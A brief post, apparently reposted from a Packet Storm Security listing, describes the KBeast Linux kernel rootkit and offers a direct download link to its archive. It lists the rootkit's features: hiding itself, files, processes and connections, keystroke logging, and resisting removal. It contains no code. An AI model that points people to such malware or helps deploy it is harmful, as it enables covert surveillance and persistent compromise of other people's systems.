KBeast (Kernel Beast) 2012 is a Linux rootkit that hides the loadable kernel module, hides files and directories, hides processes, hides sockets and connections, performs keystroke logging, has anti-kill functionality and more.
You can download it from the following link: https://packetstormsecurity.com/files/download/108286/ipsecs-kbeast-v1.tar.gz
Source: https://packetstormsecurity.com/files/108286/KBeast-Kernel-Beast-Linux-Rootkit-2012.html